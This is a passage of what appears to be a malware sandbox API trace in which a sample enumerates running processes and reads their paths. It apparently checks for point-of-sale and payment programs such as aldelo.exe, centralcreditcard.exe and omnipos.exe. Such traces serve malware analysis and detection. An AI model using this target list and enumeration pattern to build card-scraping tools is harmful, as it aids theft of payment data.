player\\winscp.exe")) returned 0x36 [0245.656] wcscpy (in: _Dest=0x179398, _Source="C:\\Program Files (x86)\\Windows Media Player\\winscp.exe" | out: _Dest="C:\\Program Files (x86)\\Windows Media Player\\winscp.exe") returned="C:\\Program Files (x86)\\Windows Media Player\\winscp.exe" [0245.656] GetProcessTimes (in: hProcess=0xfc, lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0 | out: lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0) returned 1 [0245.656] CloseHandle (hObject=0xfc) returned 1 [0245.656] Process32NextW (in: hSnapshot=0x104, lppe=0x179168 | out: lppe=0x179168*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0245.657] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xb70) returned 0xfc [0245.657] GetModuleFileNameExW (in: hProcess=0xfc, hModule=0x0, lpFilename=0x178f5c, nSize=0x104 | out: lpFilename="C:\\Program Files (x86)\\Common Files\\yahoomessenger.exe" (normalized: "c:\\program files (x86)\\common files\\yahoomessenger.exe")) returned 0x36 [0245.657] wcscpy (in: _Dest=0x179398, _Source="C:\\Program Files (x86)\\Common Files\\yahoomessenger.exe" | out: _Dest="C:\\Program Files (x86)\\Common Files\\yahoomessenger.exe") returned="C:\\Program Files (x86)\\Common Files\\yahoomessenger.exe" [0245.657] GetProcessTimes (in: hProcess=0xfc, lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0 | out: lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0) returned 1 [0245.657] CloseHandle (hObject=0xfc) returned 1 [0245.657] Process32NextW (in: hSnapshot=0x104, lppe=0x179168 | out: lppe=0x179168*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0245.659] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xb78) returned 0xfc [0245.659] GetModuleFileNameExW (in: hProcess=0xfc, hModule=0x0, lpFilename=0x178f5c, nSize=0x104 | out: lpFilename="C:\\Program Files\\Internet Explorer\\active-charge.exe" (normalized: "c:\\program files\\internet explorer\\active-charge.exe")) returned 0x34 [0245.659] wcscpy (in: _Dest=0x179398, _Source="C:\\Program Files\\Internet Explorer\\active-charge.exe" | out: _Dest="C:\\Program Files\\Internet Explorer\\active-charge.exe") returned="C:\\Program Files\\Internet Explorer\\active-charge.exe" [0245.659] GetProcessTimes (in: hProcess=0xfc, lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0 | out: lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0) returned 1 [0245.659] CloseHandle (hObject=0xfc) returned 1 [0245.659] Process32NextW (in: hSnapshot=0x104, lppe=0x179168 | out: lppe=0x179168*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0245.660] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xb80) returned 0xfc [0245.660] GetModuleFileNameExW (in: hProcess=0xfc, hModule=0x0, lpFilename=0x178f5c, nSize=0x104 | out: lpFilename="C:\\Program Files (x86)\\Uninstall Information\\accupos.exe" (normalized: "c:\\program files (x86)\\uninstall information\\accupos.exe")) returned 0x38 [0245.661] wcscpy (in: _Dest=0x179398, _Source="C:\\Program Files (x86)\\Uninstall Information\\accupos.exe" | out: _Dest="C:\\Program Files (x86)\\Uninstall Information\\accupos.exe") returned="C:\\Program Files (x86)\\Uninstall Information\\accupos.exe" [0245.661] GetProcessTimes (in: hProcess=0xfc, lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0 | out: lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0) returned 1 [0245.661] CloseHandle (hObject=0xfc) returned 1 [0245.661] Process32NextW (in: hSnapshot=0x104, lppe=0x179168 | out: lppe=0x179168*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0245.662] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xb88) returned 0xfc [0245.662] GetModuleFileNameExW (in: hProcess=0xfc, hModule=0x0, lpFilename=0x178f5c, nSize=0x104 | out: lpFilename="C:\\Program Files\\DVD Maker\\afr38.exe" (normalized: "c:\\program files\\dvd maker\\afr38.exe")) returned 0x24 [0245.662] wcscpy (in: _Dest=0x179398, _Source="C:\\Program Files\\DVD Maker\\afr38.exe" | out: _Dest="C:\\Program Files\\DVD Maker\\afr38.exe") returned="C:\\Program Files\\DVD Maker\\afr38.exe" [0245.662] GetProcessTimes (in: hProcess=0xfc, lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0 | out: lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0) returned 1 [0245.662] CloseHandle (hObject=0xfc) returned 1 [0245.662] Process32NextW (in: hSnapshot=0x104, lppe=0x179168 | out: lppe=0x179168*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0245.663] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xb90) returned 0xfc [0245.663] GetModuleFileNameExW (in: hProcess=0xfc, hModule=0x0, lpFilename=0x178f5c, nSize=0x104 | out: lpFilename="C:\\Program Files (x86)\\MSBuild\\aldelo.exe" (normalized: "c:\\program files (x86)\\msbuild\\aldelo.exe")) returned 0x29 [0245.664] wcscpy (in: _Dest=0x179398, _Source="C:\\Program Files (x86)\\MSBuild\\aldelo.exe" | out: _Dest="C:\\Program Files (x86)\\MSBuild\\aldelo.exe") returned="C:\\Program Files (x86)\\MSBuild\\aldelo.exe" [0245.664] GetProcessTimes (in: hProcess=0xfc, lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0 | out: lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0) returned 1 [0245.664] CloseHandle (hObject=0xfc) returned 1 [0245.664] Process32NextW (in: hSnapshot=0x104, lppe=0x179168 | out: lppe=0x179168*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0245.665] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xb98) returned 0xfc [0245.665] GetModuleFileNameExW (in: hProcess=0xfc, hModule=0x0, lpFilename=0x178f5c, nSize=0x104 | out: lpFilename="C:\\Program Files (x86)\\Windows Mail\\ccv_server.exe" (normalized: "c:\\program files (x86)\\windows mail\\ccv_server.exe")) returned 0x32 [0245.665] wcscpy (in: _Dest=0x179398, _Source="C:\\Program Files (x86)\\Windows Mail\\ccv_server.exe" | out: _Dest="C:\\Program Files (x86)\\Windows Mail\\ccv_server.exe") returned="C:\\Program Files (x86)\\Windows Mail\\ccv_server.exe" [0245.665] GetProcessTimes (in: hProcess=0xfc, lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0 | out: lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0) returned 1 [0245.665] CloseHandle (hObject=0xfc) returned 1 [0245.665] Process32NextW (in: hSnapshot=0x104, lppe=0x179168 | out: lppe=0x179168*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xba0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0245.666] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xba0) returned 0xfc [0245.666] GetModuleFileNameExW (in: hProcess=0xfc, hModule=0x0, lpFilename=0x178f5c, nSize=0x104 | out: lpFilename="C:\\Program Files (x86)\\MSBuild\\centralcreditcard.exe" (normalized: "c:\\program files (x86)\\msbuild\\centralcreditcard.exe")) returned 0x34 [0245.667] wcscpy (in: _Dest=0x179398, _Source="C:\\Program Files (x86)\\MSBuild\\centralcreditcard.exe" | out: _Dest="C:\\Program Files (x86)\\MSBuild\\centralcreditcard.exe") returned="C:\\Program Files (x86)\\MSBuild\\centralcreditcard.exe" [0245.667] GetProcessTimes (in: hProcess=0xfc, lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0 | out: lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0) returned 1 [0245.667] CloseHandle (hObject=0xfc) returned 1 [0245.667] Process32NextW (in: hSnapshot=0x104, lppe=0x179168 | out: lppe=0x179168*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xba8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0245.668] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xba8) returned 0xfc [0245.668] GetModuleFileNameExW (in: hProcess=0xfc, hModule=0x0, lpFilename=0x178f5c, nSize=0x104 | out: lpFilename="C:\\Program Files (x86)\\Microsoft.NET\\creditservice.exe" (normalized: "c:\\program files (x86)\\microsoft.net\\creditservice.exe")) returned 0x36 [0245.668] wcscpy (in: _Dest=0x179398, _Source="C:\\Program Files (x86)\\Microsoft.NET\\creditservice.exe" | out: _Dest="C:\\Program Files (x86)\\Microsoft.NET\\creditservice.exe") returned="C:\\Program Files (x86)\\Microsoft.NET\\creditservice.exe" [0245.668] GetProcessTimes (in: hProcess=0xfc, lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0 | out: lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0) returned 1 [0245.668] CloseHandle (hObject=0xfc) returned 1 [0245.668] Process32NextW (in: hSnapshot=0x104, lppe=0x179168 | out: lppe=0x179168*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0245.669] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xbb0) returned 0xfc [0245.669] GetModuleFileNameExW (in: hProcess=0xfc, hModule=0x0, lpFilename=0x178f5c, nSize=0x104 | out: lpFilename="C:\\Program Files\\DVD Maker\\edcsvr.exe" (normalized: "c:\\program files\\dvd maker\\edcsvr.exe")) returned 0x25 [0245.670] wcscpy (in: _Dest=0x179398, _Source="C:\\Program Files\\DVD Maker\\edcsvr.exe" | out: _Dest="C:\\Program Files\\DVD Maker\\edcsvr.exe") returned="C:\\Program Files\\DVD Maker\\edcsvr.exe" [0245.670] GetProcessTimes (in: hProcess=0xfc, lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0 | out: lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0) returned 1 [0245.670] CloseHandle (hObject=0xfc) returned 1 [0245.670] Process32NextW (in: hSnapshot=0x104, lppe=0x179168 | out: lppe=0x179168*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0245.671] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xbb8) returned 0xfc [0245.671] GetModuleFileNameExW (in: hProcess=0xfc, hModule=0x0, lpFilename=0x178f5c, nSize=0x104 | out: lpFilename="C:\\Program Files (x86)\\Microsoft.NET\\fpos.exe" (normalized: "c:\\program files (x86)\\microsoft.net\\fpos.exe")) returned 0x2d [0245.671] wcscpy (in: _Dest=0x179398, _Source="C:\\Program Files (x86)\\Microsoft.NET\\fpos.exe" | out: _Dest="C:\\Program Files (x86)\\Microsoft.NET\\fpos.exe") returned="C:\\Program Files (x86)\\Microsoft.NET\\fpos.exe" [0245.671] GetProcessTimes (in: hProcess=0xfc, lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0 | out: lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0) returned 1 [0245.671] CloseHandle (hObject=0xfc) returned 1 [0245.671] Process32NextW (in: hSnapshot=0x104, lppe=0x179168 | out: lppe=0x179168*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0245.672] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xbc0) returned 0xfc [0245.672] GetModuleFileNameExW (in: hProcess=0xfc, hModule=0x0, lpFilename=0x178f5c, nSize=0x104 | out: lpFilename="C:\\Program Files\\Windows Sidebar\\isspos.exe" (normalized: "c:\\program files\\windows sidebar\\isspos.exe")) returned 0x2b [0245.673] wcscpy (in: _Dest=0x179398, _Source="C:\\Program Files\\Windows Sidebar\\isspos.exe" | out: _Dest="C:\\Program Files\\Windows Sidebar\\isspos.exe") returned="C:\\Program Files\\Windows Sidebar\\isspos.exe" [0245.673] GetProcessTimes (in: hProcess=0xfc, lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0 | out: lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0) returned 1 [0245.673] CloseHandle (hObject=0xfc) returned 1 [0245.673] Process32NextW (in: hSnapshot=0x104, lppe=0x179168 | out: lppe=0x179168*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0245.722] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xbc8) returned 0xfc [0245.722] GetModuleFileNameExW (in: hProcess=0xfc, hModule=0x0, lpFilename=0x178f5c, nSize=0x104 | out: lpFilename="C:\\Program Files\\MSBuild\\mxslipstream.exe" (normalized: "c:\\program files\\msbuild\\mxslipstream.exe")) returned 0x29 [0245.723] wcscpy (in: _Dest=0x179398, _Source="C:\\Program Files\\MSBuild\\mxslipstream.exe" | out: _Dest="C:\\Program Files\\MSBuild\\mxslipstream.exe") returned="C:\\Program Files\\MSBuild\\mxslipstream.exe" [0245.723] GetProcessTimes (in: hProcess=0xfc, lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0 | out: lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0) returned 1 [0245.723] CloseHandle (hObject=0xfc) returned 1 [0245.723] Process32NextW (in: hSnapshot=0x104, lppe=0x179168 | out: lppe=0x179168*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbd0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0245.724] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xbd0) returned 0xfc [0245.724] GetModuleFileNameExW (in: hProcess=0xfc, hModule=0x0, lpFilename=0x178f5c, nSize=0x104 | out: lpFilename="C:\\Program Files (x86)\\Microsoft OneDrive\\omnipos.exe" (normalized: "c:\\program files (x86)\\microsoft onedrive\\omnipos.exe")) returned 0x35 [0245.724] wcscpy (in: _Dest=0x179398, _Source="C:\\Program Files (x86)\\Microsoft OneDrive\\omnipos.exe" | out: _Dest="C:\\Program Files (x86)\\Microsoft OneDrive\\omnipos.exe") returned="C:\\Program Files (x86)\\Microsoft OneDrive\\omnipos.exe" [0245.724] GetProcessTimes (in: hProcess=0xfc, lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0 | out: lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0) returned 1 [0245.724] CloseHandle (hObject=0xfc) returned 1 [0245.724] Process32NextW (in: hSnapshot=0x104, lppe=0x179168 | out: lppe=0x179168*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbd8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0245.725] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xbd8) returned 0xfc [0245.725] GetModuleFileNameExW (in: hProcess=0xfc, hModule=0x0, lpFilename=0x178f5c, nSize=0x104 | out: lpFilename="C:\\Program Files (x86)\\Microsoft.NET\\spcwin.exe" (normalized: "c:\\program files (x86)\\microsoft.net\\spcwin.exe")) returned 0x2f [0245.726] wcscpy (in: _Dest=0x179398, _Source="C:\\Program Files (x86)\\Microsoft.NET\\spcwin.exe" | out: _Dest="C:\\Program Files (x86)\\Microsoft.NET\\spcwin.exe") returned="C:\\Program Files (x86)\\Microsoft.NET\\spcwin.exe" [0245.726] GetProcessTimes (in: hProcess=0xfc, lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0 | out: lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0) returned 1 [0245.726] CloseHandle (hObject=0xfc) returned 1 [0245.726] Process32NextW (in: hSnapshot=0x104, lppe=0x179168 | out: lppe=0x179168*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbe4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0245.727] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xbe4) returned 0xfc [0245.727] GetModuleFileNameExW (in: hProcess=0xfc, hModule=0x0, lpFilename=0x178f5c, nSize=0x104 | out: lpFilename="C:\\Program Files (x86)\\Windows Photo Viewer\\spgagentservice.exe" (normalized: "c:\\program files (x86)\\windows photo viewer\\spgagentservice.exe")) returned 0x3f [0245.727] wcscpy (in: _Dest=0x179398, _Source="C:\\Program Files (x86)\\Windows Photo Viewer\\spgagentservice.exe" | out: _Dest="C:\\Program Files (x86)\\Windows Photo Viewer\\spgagentservice.exe") returned="C:\\Program Files (x86)\\Windows Photo Viewer\\spgagentservice.exe" [0245.727] GetProcessTimes (in: hProcess=0xfc, lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0 | out: lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0) returned 1 [0245.727] CloseHandle (hObject=0xfc) returned 1 [0245.727] Process32NextW (in: hSnapshot=0x104, lppe=0x179168 | out: lppe=0x179168*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0245.728] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xbec) returned 0xfc [0245.728] GetModuleFileNameExW (in: hProcess=0xfc, hModule=0x0, lpFilename=0x178f5c, nSize=0x104 | out: lpFilename="C:\\Program Files (x86)\\Windows NT\\utg2.exe" (normalized: "c:\\program files (x86)\\windows nt\\utg2.exe")) returned 0x2a [0245.728] wcscpy (in: _Dest=0x179398, _Source="C:\\Program Files (x86)\\Windows NT\\utg2.exe" | out: _Dest="C:\\Program Files (x86)\\Windows NT\\utg2.exe") returned="C:\\Program Files (x86)\\Windows NT\\utg2.exe" [0245.728] GetProcessTimes (in: hProcess=0xfc, lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0 | out: lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0) returned 1 [0245.728] CloseHandle (hObject=0xfc) returned 1 [0245.728] Process32NextW (in: hSnapshot=0x104, lppe=0x179168 | out: lppe=0x179168*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="heremanager.exe")) returned 1 [0245.729] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xbf0) returned 0xfc [0245.729] GetModuleFileNameExW (in: hProcess=0xfc, hModule=0x0, lpFilename=0x178f5c, nSize=0x104 | out: lpFilename="C:\\Program Files\\DVD Maker\\heremanager.exe" (normalized: "c:\\program files\\dvd maker\\heremanager.exe")) returned 0x2a [0245.730] wcscpy (in: _Dest=0x179398, _Source="C:\\Program Files\\DVD Maker\\heremanager.exe" | out: _Dest="C:\\Program Files\\DVD Maker\\heremanager.exe") returned="C:\\Program Files\\DVD Maker\\heremanager.exe" [0245.730] GetProcessTimes (in: hProcess=0xfc, lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0 | out: lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0) returned 1 [0245.730] CloseHandle (hObject=0xfc) returned 1 [0245.730] Process32NextW (in: hSnapshot=0x104, lppe=0x179168 | out: lppe=0x179168*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="second.exe")) returned 1 [0245.731] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xc08) returned 0xfc [0245.731] GetModuleFileNameExW (in: hProcess=0xfc, hModule=0x0, lpFilename=0x178f5c, nSize=0x104 | out: lpFilename="C:\\Program Files\\Windows NT\\second.exe" (normalized: "c:\\program files\\windows nt\\second.exe")) returned 0x26 [0245.731] wcscpy (in: _Dest=0x179398, _Source="C:\\Program Files\\Windows NT\\second.exe" | out: _Dest="C:\\Program Files\\Windows NT\\second.exe") returned="C:\\Program Files\\Windows NT\\second.exe" [0245.731] GetProcessTimes (in: hProcess=0xfc, lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0 | out: lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0) returned 1 [0245.731] CloseHandle (hObject=0xfc) returned 1 [0245.731] Process32NextW (in: hSnapshot=0x104, lppe=0x179168 | out: lppe=0x179168*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="sign.exe")) returned 1 [0245.732] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xc10) returned 0xfc [0245.732] GetModuleFileNameExW (in: hProcess=0xfc, hModule=0x0, lpFilename=0x178f5c, nSize=0x104 | out: lpFilename="C:\\Program Files\\MSBuild\\sign.exe" (normalized: "c:\\program files\\msbuild\\sign.exe")) returned 0x21 [0245.732] wcscpy (in: _Dest=0x179398, _Source="C:\\Program Files\\MSBuild\\sign.exe" | out: _Dest="C:\\Program Files\\MSBuild\\sign.exe") returned="C:\\Program Files\\MSBuild\\sign.exe" [0245.732] GetProcessTimes (in: hProcess=0xfc, lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0 | out: lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0) returned 1 [0245.732] CloseHandle (hObject=0xfc) returned 1 [0245.733] Process32NextW (in: hSnapshot=0x104, lppe=0x179168 | out: lppe=0x179168*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="than near.exe")) returned 1 [0245.733] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xc18) returned 0xfc [0245.733] GetModuleFileNameExW (in: hProcess=0xfc, hModule=0x0, lpFilename=0x178f5c, nSize=0x104 | out: lpFilename="C:\\Program Files (x86)\\Internet Explorer\\than near.exe" (normalized: "c:\\program files (x86)\\internet explorer\\than near.exe")) returned 0x36 [0245.734] wcscpy (in: _Dest=0x179398, _Source="C:\\Program Files (x86)\\Internet Explorer\\than near.exe" | out: _Dest="C:\\Program Files (x86)\\Internet Explorer\\than near.exe") returned="C:\\Program Files (x86)\\Internet Explorer\\than near.exe" [0245.734] GetProcessTimes (in: hProcess=0xfc, lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0 | out: lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0) returned 1 [0245.734] CloseHandle (hObject=0xfc) returned 1 [0245.734] Process32NextW (in: hSnapshot=0x104, lppe=0x179168 | out: lppe=0x179168*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="history-oh.exe")) returned 1 [0245.735] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xc20) returned 0xfc [0245.735] GetModuleFileNameExW (in: hProcess=0xfc, hModule=0x0, lpFilename=0x178f5c, nSize=0x104 | out: lpFilename="C:\\Program Files (x86)\\Windows Photo Viewer\\history-oh.exe" (normalized: "c:\\program files (x86)\\windows photo viewer\\history-oh.exe")) returned 0x3a [0245.735] wcscpy (in: _Dest=0x179398, _Source="C:\\Program Files (x86)\\Windows Photo Viewer\\history-oh.exe" | out: _Dest="C:\\Program Files (x86)\\Windows Photo Viewer\\history-oh.exe") returned="C:\\Program Files (x86)\\Windows Photo Viewer\\history-oh.exe" [0245.735] GetProcessTimes (in: hProcess=0xfc, lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0 | out: lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0) returned 1 [0245.735] CloseHandle (hObject=0xfc) returned 1 [0245.735] Process32NextW (in: hSnapshot=0x104, lppe=0x179168 | out: lppe=0x179168*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0245.736] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xc28) returned 0xfc [0245.736] GetModuleFileNameExW (in: hProcess=0xfc, hModule=0x0, lpFilename=0x178f5c, nSize=0x104 | out: lpFilename="C:\\Program Files (x86)\\Microsoft OneDrive\\3dftp.exe" (normalized: "c:\\program files (x86)\\microsoft onedrive\\3dftp.exe")) returned 0x33 [0245.736] wcscpy (in: _Dest=0x179398, _Source="C:\\Program Files (x86)\\Microsoft OneDrive\\3dftp.exe" | out: _Dest="C:\\Program Files (x86)\\Microsoft OneDrive\\3dftp.exe") returned="C:\\Program Files (x86)\\Microsoft OneDrive\\3dftp.exe" [0245.736] GetProcessTimes (in: hProcess=0xfc, lpCreationTime=0x1795a8, lpExitTime=0x1795b0, 